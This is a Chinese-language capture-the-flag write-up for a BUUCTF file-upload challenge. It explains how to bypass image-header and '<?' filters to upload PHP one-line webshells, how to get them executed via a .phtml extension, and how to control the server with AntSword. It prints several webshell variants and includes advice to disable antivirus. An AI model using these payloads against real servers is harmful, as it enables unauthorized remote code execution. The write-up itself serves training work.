![buuctf [极客大挑战 2019 Upload]](http://pic.xiahunao.cn/yaotu/buuctf [极客大挑战 2019 Upload])
进入靶机我们看到需要上传图片.我们正常上传一张真的图片。发现报错。于是我们上传一句话木马新建一个文本文档里面写入?php eval($_POST[cmd]); ?在改文件后缀名改成1.jpg翻译不黑客你的文件包括了 ‘?’服务器拦截 ?于是我们修改将文件内容改为GIF89ascript languagephpeval($_REQUESTT[1]) /script文件名还是 1.jpg上传成功我们查看他的目录列表。果然发现了我们上传上去的文件。我们用蚁剑连接。结果数据返回为空说明服务器没有把我们上传的文件“当成PHP来解析”。我们需要修改一下文件后缀经过尝试我们用phtml于是文件名改为1.phtml接下来我们连接 BP 来修改一下Content-TyPe里面的格式改为image/jpeg改好后放行。上传成功我们连接蚁剑URL地址靶机网址/upload/1,phtml 1.phtml 我们的文件名不固定密码1连接测试成功后我们找到根目录发现 flag打开这个文件得到flag 值1.为什么上传正常的图片要报错又是怎么确定思路的因为服务器判断的依据是 exif-imagetype() 读取文件头。它读到 GIF89a 就认为是 GIF不管后面是什么。而我们传真的图片文件头是 FF D8 FFJPEG头。所以报错这也是为什么我们想到用一句话木马来解决问题。2.什么是一句话木马一句话木马是一段级短的PHP代码作用是在服务器上开一个后门。让你可以远程执行PHP代码运行系统命令读写文件连数据库——相当于拿到了服务器的部分控制权。3.怎么用运用一句话木马连接蚁剑菜刀这类工具。在工具里面输入木马文件的URL和密码工具就会自动把你想执行的命令打包发送给木马木马在服务器上执行再把结果返回给你。4.为什么一句话木马 ?php eval($_POST[cmd]); ? 长这样1?php ...? php代码的标签告诉服务器这是 PHP代码。2eval(...) 把括号里的字符串当作 PHP代码来执行。用来屏蔽报错信息。3$_POST[‘cmd’] :从 HTTP POST请求里获取参数 cmd 的值。5.本题 ? 被拦截为什么要把一句话木马改成GIF89ascript languagephpeval($_REQUESTT[1]) /script写法区别原因eval($_POST[cmd])参数名 cmd连接时需要填的密码eval($_REQUEST[1])参数名 1无 参数是数字 1去掉了错误抑制符script?被拦截用script来绕过因为要exif-imagetype() 读取文件头手动添加GIF89a6.以后遇到这种情况怎么写一句话木马情况怎么写没有任何过滤?php eval($_POST[cmd]); ?检测? script languagephpeval($_POST[cmd]);/script检测文件头开头加 GIF89a 或 FF D8 FF 等图片头同时检测两者两者结合GIF89a script languagephpeval($_POST[cmd]);/script密码建议用 cmd 方便记忆和连接一句话木马的核心只要能让服务器执行你传来的任意代码什么写法都行不要让公式局限了你的才华。7.怎么查看一个网址的目录列表方法在URL后面加上文件夹名字 /比如http://靶机地址/uploads/http://靶机地址/images/http://靶机地址/static/不一定都能打开只有管理员忘记关掉目录浏览权限的才能看到。8.为什么把文件后缀名jpg 改为 phtml核心原因服务器没有把你的文件“当成PHP来解析”。9.上传一个文件到服务器会不会被当成PHP来解析取决于一下两点1文件后缀名比如; .php .phtml , .php3 等是否在服务器的“PHP解析列表”里2有没有配置文件如 .user.ini 或 .hatccess强制让某个后缀被解析成PHP10.遇到这种改后缀名的怎么办一个一个试后缀说明.php最常见.phtml包含 PHP 代码的 HTML 文件.php3、.php4、.php5旧版本 PHP 使用的后缀.phps PHP源码文件.pht另一种 PHP 文件11.下载蚁剑AntSword它需要两个部分配合才能工作一个“核心程序”和一个“启动器”。这两个文件缺一不可。第一步下载两个文件1. 启动器 (Loader)负责启动软件。· 下载地址https://github.com/AntSwordProject/AntSword-Loader/releases· 选哪个Windows系统通常选择 AntSword-Loader-v4.0.3-win32-x64.zip。如果电脑比较老也可以试试 win32-ia32 版本。2. 核心源码 (Source Code)这是蚁剑的“大脑”。· 下载地址https://github.com/AntSwordProject/AntSword· 选哪个点击页面上的 Code 按钮然后选择 Download ZIP把整个源码包下载下来。第二步安装与配置1. 解压· 在你电脑的某个纯英文路径下比如 D:\tools\把刚才下载的 启动器压缩包 和 核心源码压缩包 都解压到当前文件夹。2. 整理文件· 打开解压出来的启动器文件夹名字大概是 AntSword-Loader-v4.0.3-win32-x64。· 将解压出来的核心源码文件夹名字大概是 antSword-master整个移动/拖拽到启动器文件夹里面。· 完成后启动器文件夹里应该有一个名为 antSword-master 的子文件夹。3. 首次运行· 在启动器文件夹里找到 AntSword.exe双击运行。· 如果是第一次使用会弹出一个“初始化”窗口。点击“初始化”按钮然后在弹出的文件夹选择框中选中刚刚放进去的 antSword-master 这个文件夹点击“选择文件夹”。· 稍等片刻界面会提示“初始化完成”软件会自动重启。第三步启动与连接重启后蚁剑的主界面就出来了。如果系统提示缺少某些组件让它自动下载安装即可。12. 如何使用1 在蚁剑界面空白处右键选择“添加数据”。2URL地址填写你上传的木马文件在服务器上的完整网址例如http://example.com/shell.phtml。3连接密码填写你木马文件中设定的密码例如 cmd。4点击“测试连接”如果提示成功就点“添加”。然后双击这条记录就可以管理服务器的文件了。❗ 重要提示请务必注意1.先关杀毒软件在解压和运行蚁剑前请务必暂时关闭 Windows Defender 或其他杀毒软件并把蚁剑所在的文件夹加入白名单。因为这类工具的行为特征和病毒很像会被杀毒软件直接删除或拦截。2.路径不要有中文确保整个蚁剑的文件夹路径比如 D:\tools\AntSword没有任何中文字符或空格否则可能无法正常启动。3.使用蚁剑时可能会出现报错提示。原因可能是网络问题不要连校园网